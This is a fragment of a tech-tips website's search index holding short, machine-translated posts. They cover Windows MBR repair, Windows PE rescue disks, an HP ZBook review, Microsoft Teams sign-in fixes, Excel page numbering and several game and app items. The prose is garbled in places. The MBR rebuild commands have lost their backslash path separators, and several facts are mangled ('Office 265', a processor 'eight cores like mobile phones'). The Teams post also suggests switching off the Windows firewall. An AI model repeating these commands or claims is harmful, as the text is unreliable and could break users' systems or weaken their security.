free.\nncG1vNJzZmismaXArq3KnmWcp51kgW68y5qanqtdqbxutMSlp2axn6p6rbHAq6Vmq5ueua2%2FjJqlnWWXmsFur8ismqhlk5q%2FtbXFopqarJmkuw%3D%3D\n","link":"/post/4-places-to-help-you-learn-skills-and-get-cisco-certification/","section":"post","tags":null,"title":"4 places to help you learn skills and get Cisco certification"},{"body":"The two tech giants Microsoft and Amazon have decided to allow their two virtual assistants to communicate with each other and this will be a good start to a good relationship.\nIn an unexpected move on Wednesday, the two companies made a joint statement saying that now you can order these two virtual assistants like 'Alexa, open Cortan' or 'Cortana,' Please open Alexa '.\n'Ensuring Cortana serves customers everywhere and on every device is our key priority,' said Satya Nadella, CEO of MIcrosoft in a joint statement, appearing on both the Amazon and Microsoft websites. 'Bringing Cortana's knowledge, integrating Office 265, Alexa reminders is a big step towards achieving that goal'.\nThe attitude of postponement in a tense battle between virtual assistants, to gain dominance for smart home devices can lead to many inventions of smart home devices. And now when two assistants can communicate with each other, this means a lot. But how big it depends depends on how big tech guys let Alexa and Cortana work together.\n  Two virtual assistants Alexa and Cortana can now communicate with each other\n'The world is large and very multifaceted. More and more artificial intelligence organizations have different data sets and specialized skills, 'said Jeff Bezos, Amazon's CEO.\nThe big question now is how Apple (Siri author) and Google (Google Home) will react? Do they join? Are they even invited? Or did they reject the invitation to join? Anyway, combining Alexa and Cortana, the combination that two virtual assistants create will not only benefit users but also make the competition more intense with Apple and Google.\n'Together, their power will complement each other and give customers a better user experience,' Bezos said, 'great when Echo users can access Cortana easily'.\nncG1vNJzZmismaXArq3KnmWcp51krq2x15pkmqaUYrCwvtOapZplk5a7brrOsGStmZygerW7jJ6YnKBdpMGpsdFmo56Zpp67qHnAqaelnaNiwKq%2ByGaYp5xdnLyws8ueZKGnnZo%3D\n","link":"/post/alexa-and-cortana-can-now-talk-to-each-other-leaving-apple-s-siri-and-google-home/","section":"post","tags":null,"title":"Alexa and Cortana can now talk to each other, leaving Apple's Siri and Google Home"},{"body":"If you want to increase the number of colors for the snake, you can click the Stop button. Also you can add as many colors as you want to the snake, . To learn more about how to replace the snake skin in slither.io, please refer to the following article of Network Administrator.\nIn addition, you can refer to how to play slither.io - high score hunting snake here.\nTo create a snake skin in game slither.io, you first need to download slithere mods on the Store of Google Chrome or Slithere.com.\n  After installing slitherplus mods, your next task is to disable all other add-ons on slither.io. At this point you will see the create button or change skin button appear in the left corner of the screen after you run mods.\nIn addition, on the graphics settings section, you must optimize to operate properly.\nYou will see 3 options are Change Skins (change skins) (W key), Skin Rotator and Create Your Skins (create your skins).\nThe Change Skins option (W button) displays the skins built into the Mod. The Skin Rotator option sets the speed of skin changes on Mod. Also, don't forget to check the Change Skins option . Create Your Skins option helps you create custom skins according to your wishes.\nIf you click the Create yours skins button, then open the solid settings section. Here you can change the color of the snake by clicking on the color frame.\nIf you want to increase the number of colors for the snake, you can click the Stop button. Also you can add as many colors for the snake you want. At the Cell numbers frame you can adjust the color range for the snake. The advice for you is to use 7 cells to make snakes look better.\n  Refer to some of the following articles: If you want to be an excellent player when playing Agar.io, read this article How to use DOSBox to run old programs and applications? How to play Pokemon GO on Windows computers Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuimq61sYyspZqjlWLArLXNrGSipl2crq6xjKyjoqyYmr%2Bquw%3D%3D\n","link":"/post/how-to-create-snake-skins-in-game-slither-io/","section":"post","tags":null,"title":"How to create snake skins in game slither.io"},{"body":"Master Boot Record (MBR) is a special type of boot sector found when starting the system partition. MBR informs about the upcoming boot process such as partition distribution, size, file system, etc. A MBR traditionally contains a small part of executable code, turning the boot process into the appropriate operating system. .\nHow is GPT and MBR different when partitioning a drive? However, the MBR may be corrupted or disappear for a number of reasons, causing Windows 10 installations to fail. This article will show you some ways to fix the Master Boot Record error in Windows 10.\nCause Windows 10 does not boot How do you know when the MBR occurs? This is when you cannot start Windows and receive an error message on the screen indicating ' Missing operating system ', ' MBR error ', ' Error loading operating system ', ' Invalid partition table ' or similar message.\nThere are many reasons for this problem, in which broken drivers are the most common cause. In recent years, some ransomware versions attack Master Boot Record to force victims to pay to ensure their system safety. However, this type of ransomware is very rare, in addition to other malicious software that directly change the MBR causing more serious damage.\nInstructions to fix Windows error does not boot How to fix Windows Master Boot Record problem 1. Boot repair through Windows Automatic Repair When you first boot into Windows 10, the system will detect the problem and switch to Automatic Repair mode. The screen will display Your PC did not start correctly . On this screen, select Advanced options\u0026gt; Troubleshoot\u0026gt; Startup Repair .\n  Windows 10 Startup Repair tool is completely automatic, although it will take time to complete, but it will fix your Windows 10 MBR problems.\nHow to use Windows Repair to fix Windows errors 2. Command Prompt through Windows Automatic Repair If the Windows 10 Startup Repair process does not fix the MBR problem, or wants a direct and faster way to repair the system, you can use Command Prompt through Automatic Repair. When the system detects a problem and the Automatic Repair screen appears, select Advanced Options\u0026gt; Troubleshoot\u0026gt; Command Prompt.\nYou will use the bootrec.exe tool to fix the corrupted MBR. Bootrec has a series of commands designed to restore the boot process.\n  Type bootrec.exe / fixmbr and press Enter , then type bootrec.exe / fixboot and press Enter . You will see T he completed completed operation below each command. If you don't see the operation completion message and receive an error, enter bootrec.exe / rebuildbcd and press Enter . The ' rebuildbcd ' command will rebuild the Boot Data Data system (BCD).\n  However, this method does not always work right on the first try. In this case, Microsoft suggests that you export the BCD repository (where the boot data is stored) and rebuild from scratch. Thankfully this process only takes a few minutes.\nEnter the following order in order:\nbcdedit /export c:bcdbackup c: cd boot attrib bcd -s -h -r ren c:bootbcd bcd.old bootrec.exe /rebuildbcd  The export and rebuild process will completely fix MBR issues. Windows 7 and earlier users can also use the bootrec.exe / scanos command to scan and repair an old BCD installation.\nIf you cannot access Command Prompt through Automatic Repair\nIn case of not seeing Windows 10 Automatic Repair screen, you need to use Windows installation media to boot into repair mode. If no boot media is available, you need to find another Windows system to create a boot media.\nHowever, there is another solution you can try if there is no Windows USB drive installed. You can trick the system into thinking that there is a boot error by turning on the power, then turn off the power when the Windows logo appears. After repeating this process three times in a row, Automatic Repair will be activated. Note, this way may not work for everyone, depending on your system.\n3. Troubleshoot MBR problems in Windows using GParted Live GParted Live is a bootable Linux distribution with a focus on partition management. However, it also allows you to work on Windows partitions outside of the operating system, which means you can repair and restore MBR problems. To do this, you need an alternative system.\nDownload GParted Live\nFirst, you need to download GParted Live, there are two versions available. If using a 32-bit system, select i686.iso version. This version works on both 32 and 64 bit systems, although there are some limitations. If using a 64-bit system (and you're sure it's a 64-bit system) download the amd64.iso version.\nRecord GParted Live on boot media\nNext, you need to write the disc image to the type of bootable media. You must also download UNetbootin to be able to implement this method. Open UNetbootin, select Diskimage at the bottom of the control panel, then click on the three dots icon to browse to the GParted Live ISO file .\n  Select ISO and click Open , then select the USB flash drive you want to burn GParted Live and click OK . Once completed, delete the device that can start and shut down the system.\nBoot into GParted Live\nPlugging in the GParted Live media can boot into a system with an MBR error. Power on the system, press the shortcut to the boot process to bring up the boot device selection menu. You will see the GParted Live media is the boot source here, select it and wait for the media download. You will have to make a few small choices, such as language and mode of operation.\nUse GParted Live and TestDisk to fix MBR\nWhen the GParted Live environment loads, open a Terminal window, type sudo fdisk -l and press Enter . This command will list all available drives and partitions on your system. Now, open a new Terminal window, type testdisk , then select No Log .\nNext, it will ask you which drive you want to repair, select your drive, then press Proceed . Now, select the partition table type. In this case, select Intel / PC partition and press Enter .\n  Select Analyze , then select Quick Search .\nTestDisk will scan your drive to find any existing and deleted partitions. Scanning may take several minutes depending on the size of the drive. Finally, it will identify your main system partition. If the scan does not display all partitions, select Deeper Search . In addition, GParted will give you a short list of errors.\nIf all partitions appear with correct flags (such as booting, scaling, and rational), Write (write) to the partition table. If the flag is incorrect, convert them with the arrow keys. For example, in the screenshot below, the first image shows a drive with a duplicate second partition ([Partition 2]). Move through the partition and press P to see the file appear on that partition.\n  The first duplicate partition is corrupted, because the message Cannot open filesystem. Apparently damaged file system .\n  The second duplicate partition contains the list of file directories and therefore is the correct partition.\n  The flag for the repeater partition is first set to D for Delete , while the second repeater partition is set to L for Logical , restoring its partition and data to the drive. When returning to the TestDisk menu, select MBR Code to write the standard MBR for your drive and confirm.\nThat's it, you can close the Terminal window, log out of GParted Live and turn off the system, delete the GParted Live boot media and boot the system.\n4. Troubleshoot MBR problems in Windows by using Boot Repair Disk Boot Repair Disk is another extremely handy Linux distribution you can use to fix Windows 10 MBR problems. The actual Boot Repair Disk has a GParted copy, but it simplifies the recovery process. MBR into a program with easy conversion boxes.\nFirst, download a 64-bit or 32-bit version of Boot Repair Disk, depending on your system. As with the GParted Live image, the 32-bit version only works for 32-bit systems and 64-bit versions that work on both systems.\nWrite Boot Repair Disk to boot media\nNext, you need to write the dics image to the boot media and download UNetbootin. Open UNetbootin, select Diskimage at the bottom of the control panel, then click the three dots icon to browse to the ISO Boot Repair Disk file.\nSelect ISO and click Open , then select the USB flash drive you want to burn Boot Repair Disk and click OK . Once completed, delete the device that can start and shut down the system.\nBoot into Boot Repair Disk\nPlug the Boot Repair Disk into the system where the MBR is broken. Turn on the power, press the boot process shortcut to display the boot device selection menu. You will see a USB flash drive or a Boot Repair Disk disc as the boot source, select it and wait for the media to load.\nUse Boot Repair Disc to fix MBR\nWhen Boot Repair Disk environment loads (Boot Repair Disk uses light Lubuntu environment), select LXTerminal from the task bar. Type fdisk -l and press Enter to list the current drives and partitions.\nNext, select the B icon in the bottom right corner (where the Windows Start menu is active), and go to System Tools\u0026gt; Boot Repair. The program will scan the system, then you can choose an Automatic repair session or see Advanced Options . First, try the Automatic repair option. Automatic repair can fix most startup errors immediately.\n  If this option does not work, open Advanced options and access the MBR options tab. View the list of drives, pre-created partitions in the LXTerminal section and find your Windows boot partition. Boot Repair Disk marks them a bit more clearly than the basic GParted Live command. After making sure, click Apply then reboot the system.\n  5. Fix MBR problems by using EaseUS Partition Master The final fix requires you to remove the physical drive from the system. When deleting the drive, you can connect it to another system using EaseUS Partition Master to fix the MBR problem.\n  Download and install EaseUS Partition Master, then connect the drive. Select the external drive (labeled MBR ), right-click it and then select Rebuild MBR and click Apply in the top right corner and wait for the process to complete. Delete the drive and then reinstall it on the original system and reboot.\nThese five options are the best and fastest method to fix corrupted Windows 10 MBR and many of the methods here work on older Windows versions (especially methods 2 and 3).\nI wish you all success!\nSee more:\n5 free software to help restore the MBR system How to check the standard hard drive of GPT or MBR How to fix \"The disk selected has an MBR partition table\" when installing Windows ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqqVqMGwvsRmpJqrpJq%2Fbq7OqKtmqpWYvLOwjKKlZq%2BZo7Gww9JmaGk%3D\n","link":"/post/how-to-restore-master-boot-record-in-windows-10/","section":"post","tags":null,"title":"How to restore Master Boot Record in Windows 10"},{"body":"CyberLink Youcam functions as a Webcam device, helping you save every moment, record video or take photos directly on your laptop. In addition, you can use this utility to create video tutorials for learning and presentations using the screen-recording feature . This is the best utility for recording videos with laptops for all types of laptops manufactured from many different brands.\nSimple computer screen captures How to rotate the screen with CyberLink Youcam Step 1 : Download CyberLink Youcam and install\n      Step 2 : Double click on the Cyberlink icon outside the Desktop, select Presentations \u0026gt;\u0026gt; Desktop Capture to start video recording\n  Step 3 : After selecting Desktop Capture , a display window includes 3 main modes such as Full Screen, Mouse Movement, Fixed area for you to choose the most suitable mode when recording.\nOn the left side of the window of CyberLink Youcam is a screen for you to preview and determine the exact location where you are recording\nFull Screen : Full screen video recording mode   Mouse Movement : Return to the position of the mouse cursor. In this mode, you can select the size of the area surrounding the mouse pointer, there are 3 sizes available such as 160x120 , 320x240 , 640x480 . Note if you want the clip to be viewed well on your smartphone, you should choose a small size like 320x240 to fit the screen fit.\n  Fixed area : Move the mouse to any location on the screen to return to the video on that location   Step 4 : After selecting the appropriate mode and location to record the video, click Capture to start recording or click Restore to return to the main screen of the utility.\n  If you want to review the recorded video, go to Camera \u0026gt;\u0026gt; Library\n    Double click on the clip you want to watch for review\n  Above are all the steps for you to record video on the screen for learning and work. I wish you a good week!\nSee also: Instructions for rotating screen, video game by Bandicam software\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ecWoqWaemaG6qrrGZquhnV2osLOxxKdksKGknXqkxcGeqaWhnqB6urvUnJim\n","link":"/post/instructions-for-filming-the-screen-with-cyberlink-youcam/","section":"post","tags":null,"title":"Instructions for filming the screen with CyberLink Youcam"},{"body":"Overcooked is a co-op cooking game that supports up to 4 players. In the game, the player and his team members must prepare the ingredients and cook the order items in the fastest time possible.\nThe most difficult and interesting point of this game comes from the division of work, avoiding chaos in the kitchen because the 'wild' kitchen surfaces can 'change shape' anytime and beyond the imagination. player.\n  Players can also choose to play Overcooked alone if they feel unable to teamword with others. At that time, the kitchen space will be smaller, the number of orders reasonable enough for you to express the agility and the ability to work independently.\nThe way to play Overcooked is quite simple, just prepare ingredients, receive orders from customers and cook but not easy to play well, especially in co-op mode.\nRequires configuration to smooth game Overcooked\n  Currently, Overcooked has an international market price of $ 16.99 and is now available for free on Epic Games Store until the end of July 11, 2019. If you are interested in this interesting cooking game, please quickly register to receive Overcooked without spending any money.\nInstructions to download and install Overcooked game on Windows\nStep 1: Register for Epic Games account by accessing and linking below, complete the information, then click Create Account . If you already have an Epic Games account, skip this step.\nhttps://accounts.epicgames.com/login    Step 2: Download and install Epic Games Launcher on your computer according to the link below.\nDownload Epic Games Launcher for Win Step 3: Open Epic Games Launcher on your computer -\u0026gt; select Store -\u0026gt; click on Overcooked's avatar.\n  Step 4: At the detailed information page of the game, click Free to create a payment with a price of 0đ -\u0026gt; click on Place Oder to confirm payment completion.\n   Step 6: Go to Library -\u0026gt; click Install button below Overcooked's avatar to proceed to download and install the game.\n  Sony donates Detroit for free: Become HumanReal Madrid, blockbuster with the best plot of 2019 Download Last Day of June, a gentle puzzle adventure game that is free ncG1vNJzZmismaXArq3KnmWcp51kvLex0ZymqKOVmXqlu9ano6iZlGK8p7LEq2SsraCav26y1KdkrZ2Ronqku86koKefXZyurrGMoqpmnqKasg%3D%3D\n","link":"/post/overcooked-download-offer-super-fun-team-cooking-game-is-free/","section":"post","tags":null,"title":"Overcooked download offer, super fun team cooking game is free"},{"body":"Operating page numbering in Excel , or page numbering on Word, is a basic operation when we work with office documents. And when you number the page will be all integers, even if the page numbering is parity. So if you want to type page number 1 in Excel, how to do it?\nThat is, then you will number pages in a total of 1/2, 2/2 instead of numbering pages 1 and 2 as before. In fact, page numbering in type 1/2 in Excel is similar to when you number page numbers in Excel. The following article will guide you to read page numbering style in half in Excel.\nHow to type pages in Word 2010 How to type pages in Word 2007 from any page Manual numbering page 1/2 in Excel Step 1:\nFirst, you need to click on the Page layout tab then on the Page Setup group, click on the arrow icon at the corner.\n  Step 2:\nA new dialog box appears, click the Header / Footer tab, then select Custom Footer to insert the page number at the bottom of the Excel footer.\n  Step 3:\nThen select the location where you want to insert the page number , for example, here will insert the page number to the right of the interface, so click on the Right section. Then click on the Insert Page Number icon above as shown below.\n  Step 4:\nAfter pressing Insert Page Number, a page number input character will appear. If you use integers like 1, 2, 3 to page numbers, you can immediately enter the number in this section. However, for page numbering in type 1/2, you need to insert / to distinguish as follows.\n  Next, users will click on Insert Number of Pages icon to add the next page character. As a result, you will be shown the number of page 1/2 in Excel.\n  Step 5:\nClick Print Preview to preview the number of pages in Excel, 1/2, 2/2, . depending on the total number of Excel documents.\n  The number of Excel pages in 1/2 style will be as shown below.\n  The numbering of type 1/2 in Excel is similar to the numbering of pages in Excel. We only need to create 2 prefixes for the number of pages to be numbered 1/2.\nSee more:\nHow to create Header in Microsoft Excel Inserting letters, logos sink into Microsoft Excel 2013 How to insert text into images in Excel I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51kvaKzxGalrqWSmr%2BqusZmpJ6smKSxbrvFZquyqJVifnN5yKdknrCTmrk%3D\n","link":"/post/page-numbering-method-of-type-1-2-in-excel/","section":"post","tags":null,"title":"Page numbering method of type 1/2 in Excel"},{"body":"Placing Google search engine as the homepage on Google Chrome browser will help you find information faster, without having to type in the address.\nGoogle is now a popular and popular information search tool in the world, widely used by many people. Not only is it used on computers but with mobile devices, Google is also a search site that is heavily used. And on a computer, if you use Google often, you can set it as a homepage on Google Chrome.\nWhen setting as the homepage, we will quickly access Google without performing the operation to enter the website address as before. Thus, users can enter content to be searched faster. Steps to set Google as the Google Chrome homepage will be included in the article below.\n13 quick Google search tips that you should know Instructions for permanently deleting Google history Step 1:\nIn the Google Chrome browser, we click on the 3 vertical dots icon and select Settings .\n  Step 2:\nNext click on the 3 dashes icon and select the Appearance tab in the drop down list below.\n  Step 3:\nAt this new interface the Show home button section has been disabled by default. Squeeze the horizontal bar to the right to activate.\nWe will then have the option to show the home button in the New Tab Page or Enter a custom web address. Here we will select the Enter a custom web address . Enter the site address as google.com and then click outside to save the changes.\n  So when returning to Chrome browser, you just need to tick the Home button icon to open Google.\n  In case you want to open Google immediately when accessing Chrome, but do not want to click on the Home button, at the Search settings interface to the section When starting , then click on Manage pages on startup .\n  Next, click on Open a specific page or set of pages and click Add new page .\n  Enter the Google website address and click the Add button to save it.\n  So when we open the browser Chrome will open the Google search page immediately, by placing Google as the Chrome homepage and setting up Google tool launch right after opening Chrome. Also, with this way you can also put any website you want to be the homepage on Google Chrome.\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51kvbbAjKCmqJ%2Bcmnqiv4ytn55lmKS6przAoJxmp55itLC7xqWcZpuYp7yusQ%3D%3D\n","link":"/post/put-google-as-the-homepage-on-google-chrome/","section":"post","tags":null,"title":"Put Google as the homepage on Google Chrome"},{"body":"Every Windows user should have at least one Windows system rescue disk available to use the tools in the recovery environment to repair Windows or at least diagnose the problem.\nMany Windows rescue disks use the Linux environment but also have recovery disks using the Windows Preinstallation Environment (PE). Windows PE rescue discs have a similar working environment, excellent hardware support and provide software to help repair the system.\nHow to create Windows PE rescue disk How to create USB boot versatile, USB rescue by DLC Boot How to install Windows on WinPE What is Windows PE? Windows PE is a lightweight version of the Windows 10 operating system. You can use Windows PE to install, test and repair all Windows 10 installations. Windows PE recovery disk works with all Windows versions 10: Home, Pro, Education, Enterprise, etc.\nBasic Windows PE version supports all Windows applications, drivers, network tools, partitions and disk management, computer management tools, Hyper-V, etc. Recovery disks based on Windows PE increase Enhance this function, add tons of free and open source tools to restore and analyze Windows 10 installation.\n1. Disk of Hiren's BootCD PE rescue https://www.hirensbootcd.org/files/HBCD_PE_x64.iso    Hiren's BootCD is the legendary rescue disc of Windows. This is a bootable, all-in-one rescue disk, with many tools to help you recover from disk errors, malware, password recovery, account management and more. .\nHiren's original BootCD is a Linux environment but has not received updates since 2012. However, the BootCD was revived as a Windows PE rescue disk in 2018. It has countless open source recovery tools. Free with the familiar Windows 10 environment.\nLearn about Hiren's BootCD PE 2. Bob.Omb Modified Win10PEx64 rescue disk https://mega.nz/#!gywx3Ihb!cNTwL_IC2RcfCJzga_4JOJnhHiNGF9omWBKeMcp03eM  The modified Win10PEx64 rescue disk of Bob.Omb is the Windows Preinstallation Environment. It has a long list of recovery and analysis tools, including Malwarebytes Antimalware, easyUS Data Recovery, FileZilla, Rufus, etc.\nUnlike some other Windows 10 PE rescue discs, Bob.Omb also has some ransomware decoders. The ransomware decoder can scan the system to find ransomware, delete it and recover your encrypted files. However, they only work with specific types of ransomware, so don't try to use them on any ransomware because this can make the situation worse.\n3. Kyhi Recovery Rescue Disk https://toolslib.net/downloads/viewdownload/322-winpese-x64-14393/  Kyhi's Recovery Drive is a custom Windows 10 PE environment containing system recovery tools.\nKyhi's Recovery Drive has many malware removal tools, disk repair and partitioning, administration tools, VNC tools, backup and restore, etc.\nKyhi developer has stopped releasing the built-in recovery disk ISO file but you can still download the original 2017 releases.\n4. Gandalf's Windows 10PE x64 rescue disk http://windowsmatters.com/2019/05/02/gandalfs-windows-10pe-x64-redstone-5-build-17763-version-04-30-2019/  Official build names are Gandalf's Windows 10PE x64 Redstone 5 Build 17763 Version 04-30-2019. Gand Gandalf's Windows 10PE recovery disk has hundreds of tools up to 200, you can use to rescue your system as needed.\nSuch programs include disk recovery tools, network analytics applications, hardware and software diagnostic tools, backup programs, malware and firewall applications, etc. Gandalf updates the disk. Dress this every few months so you always get the latest version of these tools.\n5. Sergei Streclec's WinPE rescue disk http://uploaded.net/file/ar43b0yr    Sergei Streclec's WinPE is a Windows PE-based rescue disk developed by Russia. WinPE has a variety of recovery tools, network analytics applications, backup utilities, storage tools, password managers, etc.\nThe highlight of this WinPE recovery disk is the organization, all the tools are organized into convenient categories that users can easily find when recovering the system.\nNote: The storage password is strelec. You need a password to unlock recovery tools.\nCreate a bootable Windows recovery disk The recovery disk name is a wrong name. Initially, the recovery disk is correct: The LiveCD can boot. Today, you can boot most Windows recovery disks from USB flash drives.\nWhen you want to run a Windows PE-based recovery disk, turn off the computer, plug in the USB flash drive and boot the system from this USB drive.\nHow to set up BIOS to boot from USB / CD / DVD, external hard drive The best Windows rescue disk is a disk with a tool to fix your problem. The Windows PE recovery disks in this article have similar recovery and analysis tools. If there is a specific tool you need, download the recovery disk.\nYou should store the recovery disk on the USB flash drive so you can use it whenever problems occur with the system.\nncG1vNJzZmismaXArq3KnmWcp51kv6a%2Fwq6cZqyYmnq0xdKtnKZlp57BqXnToZysnV1qeqO7zq2Ym6SVYsSqusOorqxloJp6s7HCqK2eqqlisaq%2Fyqw%3D\n","link":"/post/rescue-the-system-with-these-5-bootable-windows-pe-recovery-disks/","section":"post","tags":null,"title":"Rescue the system with these 5 bootable Windows PE recovery disks"},{"body":"For many, it's an ideal, innovative option at a better price than rivals from Dell and Apple. However, hot external issues, average battery life, and keyboard layout can be too difficult to ignore depending on your workflow.\nDetailed configuration 15.6 inches, 3840 x 2160 IPS Intel Core i9-10885H Nvidia RTX 2070 Max-Q 32GB DDR4 RAM 1TB SSD hard drive Weight: 1.92kg Design of the HP ZBook Create G7 The G7 has a very eye-catching design. The aluminum base has smart chamfered edges, neatly machined vents and smart Bang \u0026amp; Olufsen grille, and the lid is the same material with the ZBook logo is illuminated. The screen has thin bezels and the edges are quite polished.\n  The finishing quality is also excellent - the base is sturdy, the opening is gentle, and the hinge is very quiet. The G7 is also MIL-STD-810H certified, which means it has been tested and rated to withstand drops, knocks, dust and even extreme temperatures.\nAll of this comes neatly in a weight of 1.92kg, 18mm thick and 354mm wide, so it's hardly a strong impact. The Dell XPS 15 is slightly lighter and narrower, while the Apple MacBook Pro 16 is thinner, but heavier and wider, however the difference is negligible. HP is also often appreciated for the quality of the machine.\n  On the right edge of the machine, you'll find two USB 3.2 Gen 2 Type-C ports that support 10Gb / s data transfers, a Thunderbolt 3 port along with a Mini-DisplayPort output, and a full-size SD card slot. The left side has a USB 3.2 Gen 1 port running at 5Gb / s along with a headphone jack and Kensington lock slot. Above the top of the screen, the device is equipped with a 720p webcam with Windows Hello support and below the keyboard is a fingerprint sensor. The G7 also has TPM 2.0 and a host of BIOS security options.\nHP ZBook Create G7 keyboard The ZBook's keyboard is very smart, with a recessed chiclet design and good typing quality. The keys are quick, consistent and quiet, with deep key travel and a solid base. For the casual typing experience, this keyboard has the same quality as Dell and better key travel than Apple.\n  However, there are a few layout adjustments that make the keyboard look unattractive. The power button is sandwiched between the Delete and Print Screen keys and is annoying, the function row keys are a bit small. The arrow keys are also shrinking. The biggest problem for some people will be the unfortunate omission of the numeric keypad because the spare metal on either side of the keyboard is quite wide.\nThe trackpad of the device is of good quality. The surface is large, smooth and precise, supports multi-touch gestures, and fast and standard click movements.\nHP ZBook Create G7 display The ZBook's display is one of its strongest points. IPS 4K panel with 10-bit color and HP's DreamColor certification, so it comes in full sRGB and DCI-P3 color gamut and achieves a peak brightness of 600 nits.\n  Excellent image quality. The G7's maximum measured brightness is 688 nits, which is immensely large (well above HP's expected figure), combined with a black point of 0.41 nits to yield a 1678: 1 contrast ratio. A laptop with such a good screen is very rare indeed. The high contrast ratio, the screen is more vivid and the colors are more accurate than most laptops on the market, enough for photo and video editing.\nThe speaker is also surprisingly well finished - incredibly loud, surprisingly bass and well balanced. The only problem is that the head is a bit small. For everyday audio activities, however, the G7 is a great fit.\nHP ZBook Create G7 performance ZBook G7 is equipped with Intel Core i9-10885H processor, eight cores like mobile phones. This processor has base speed and speeds up to 2.4 GHz and 5.3 GHz, respectively, Intel vPro for added security. It is paired with an Nvidia GeForce RTX 2070 Max-Q graphics card, which means 2,304 regular stream processors and 8GB of RAM along with a limited clock speed of 900MHz and 1,125MHz.\nThere's ample dual-channel 32Gb memory and 1TB Samsung PM981 SSD drive that delivers excellent read and write speeds of 3,440 MB / s and 2,871 MB / s. Internal connectivity is handled by dual-band 6-band Wi-Fi.\n  The actual performance of the machine is amazing. The ZBook can easily handle a photo editor, allowing you to edit and encode 4K videos. In this content creation area, HP will handle almost anything and it far surpasses the competition in the market. The G7 is also flexible and perfectly responsive to everyday workloads. If gaming, it should play any light game at 1080p but it will only handle 4K games if you tweak the settings a bit. However, the 60Hz screen refresh rate is not really suitable for high-demanding games.\nHP ZBook Create G7 battery life The device can last about 5 hours after a single charge with the screen at maximum brightness and nearly 6 hours when the brightness is down.\nThis is a reasonable number for a system with high-end components like this, sure enough to handle normal office work, but it cannot compete with competitors in the market. Both Dell and Apple machines lasted 9 hours on the same test.\nncG1vNJzZmismaXArq3KnmWcp51kv6bCyJ6uZqCgYseju86kZJyqlZbBpnnGcA%3D%3D\n","link":"/post/review-hp-zbook-create-g7/","section":"post","tags":null,"title":"Review HP ZBook Create G7"},{"body":"Katakoto, a Japanese technology company, has developed the Maste AR Spell language learning application, allowing users to consult a visual example of a certain word via smartphone. For example, when checking from Apple, an apple will appear in the middle of the magic circle. This helps learners remember more easily and arouses passion and excitement when learning a foreign language.\nWith the Spell Maste AR application, any user can become a 'witch' language.\n  Put the Spell Maste on \"Apple\" immediately to the apple.\nTo be able to \"enable\" as above, users only need to download the Spell Master AR application, print out the card for this application here and follow the instructions in the video below.\nKatakoto has not revealed the number of words that their system can recognize but in the video above, we can see that Spell Master AR not only \"spells\" the apple, the Earth but the basic words like All pencils, cameras, computers are included. With emotive adjectives such as joy and sadness . the system displays emoji-like emoticons.\n  Spell Master AR also has a database to recognize kanji, hiragana, katakana and display results similar to English, making learning Japanese easier.\n  It is an interesting language learning app but unfortunately, Spell Master AR has not officially launched yet. However, Katakoto said Spell Master AR will be downloaded for free for both iOS and Android.\nSee more:\nApplications to learn Korean on the phone How to learn English on Chrome through the Rememberry utility 5 ways to learn 'unusual' foreign languages ​​on a PC or smartphone ncG1vNJzZmismaXArq3KnmWcp51kwLGxy6VkppmjqbJurdFmmKdlmaPBpr7ErKuippdit6K8wKecrJ1doa6vs9Sanp5lnJqus7rIp55mmaClerW0wK1kmqScpMS0ediorGasn2Kxqr%2FPpZiyZZ%2BXt6av06xkpaGbmnqurcaimg%3D%3D\n","link":"/post/spell-maste-ar-an-interesting-japanese-language-learning-app-that-allows-you-to-display-objects-like-magic/","section":"post","tags":null,"title":"Spell Maste AR, an interesting Japanese language learning app that allows you to display objects like magic"},{"body":"Microsoft Teams is a platform that provides very popular and useful online services such as chat, video meetings, file storage, and application integration. However, sometimes users encounter problems when logging in, unable to log in, . leading to many inconveniences and annoyances. So how to solve this problem? Let's find out in the following article.\nCheck if the network connection is stable or not by clicking the Wifi icon on the Taskbar (taskbar) at the bottom of the screen. Changing the network connection can also fix the problem.\nIf the network connection you are using shows the message No Internet, secured, please switch to another network until it says Connected, secured. Then you can try to open a few websites to check the Internet status and then log in to Microsoft Teams as usual.\n  Try signing in to Microsoft Teams using a web browser\u0026nbsp;HERE, or logging into the Microsoft Teams app on your\u0026nbsp; phone . If the login is successful, then the problem is in the computer. You can do it in 2 ways:\nMethod 1: Re-download the Microsoft Teams application on your computer\u0026nbsp;HERE.\nMethod 2: Check the computer again as follows:\nStep 1: Click the Windows icon in the lower left corner of the screen, find Windows System and then select Control Panel.\n  Step 2: After entering the Control Panel interface, select Credential Manager.\n  Step 3: Continue to select Windows Credentials and delete all Office related accounts\u0026nbsp; \u0026nbsp;at Modified: Today. Then, restart your computer and sign back in to Microsoft Teams.\n  Microsoft Teams error may be due to incorrect time installed on Windows.\nQuick guide on how to reset the time on Windows 10: Click the Windows icon \u0026gt; Select Settings \u0026gt; Select Time \u0026amp; Language \u0026gt; Click the drop-down list in the Time zone section \u0026gt; Select (UTC+07:00) Bangkok area, HaNoi, Jakarta \u0026gt; Set time automatically, change it to On.\nIf the device is using VPN applications\u0026nbsp; \u0026nbsp;, you should turn it off, because it is possible that the IP you are emulating is located in another country that does not currently support the Microsoft Teams service.\n  Quick instructions on how to turn off the firewall: Open Control Panel \u0026gt; Select Windows Defender Firewall \u0026gt; Click on Turn Windows Firewall on or off \u0026gt; Click on the 2 options Turn off windows firewall (not recommended) and click OK.\nSometimes Microsoft Teams sign-in problems occur if your Windows and\u0026nbsp; Office 365 \u0026nbsp;use two different accounts. Double-check to make sure the Windows login account matches the Office 365 sign-in account.\nNormally, the Microsoft Teams desktop application will automatically update. However, you can still check for updates by clicking on your profile picture at the top and selecting Check for updates.\n  In case you have tried the above and it doesn't work, this is the last resort. Contact your workplace technology or contact Microsoft directly for support.\n​Hopefully the solutions in the above article can help you fix Microsoft Teams errors effectively. Thank you for watching and see you in the next posts!\nncG1vNJzZmismaXArq3KnmWcp51kwLWxz6xkraddm7a5edOhnGadoqe8s3nOn2Snp6Rir6a1zaBkmpqcmnq1u4ysoKCmXZ67bsDOZqSim6KkwLCy02arnpmdqA%3D%3D\n","link":"/post/steps-to-fix-the-error-of-not-being-able-to-sign-in-to-microsoft-teams/","section":"post","tags":null,"title":"Steps to fix the error of not being able to sign in to Microsoft Teams"},{"body":"Human life is a constant process of movement and it is this movement that creates life. All buildings that want to stand 